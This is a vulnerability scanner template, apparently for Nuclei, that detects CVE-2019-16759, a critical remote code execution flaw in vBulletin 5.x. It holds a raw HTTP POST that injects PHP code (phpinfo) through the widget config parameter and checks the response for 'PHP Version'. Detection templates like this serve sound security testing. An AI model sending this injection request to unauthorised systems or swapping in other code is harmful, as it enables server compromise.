id: CVE-2019-16759

info:
  name: vBulletin v5.0.0-v5.5.4 - Remote Command Execution
  author: madrobot
  severity: critical
  description: vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759
    - https://seclists.org/fulldisclosure/2019/Sep/31
    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16759
    cwe-id: CWE-94
  tags: cve,cve2019,vbulletin,rce,cisa

requests:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PHP Version"

# Enhanced by mp on 2022/03/29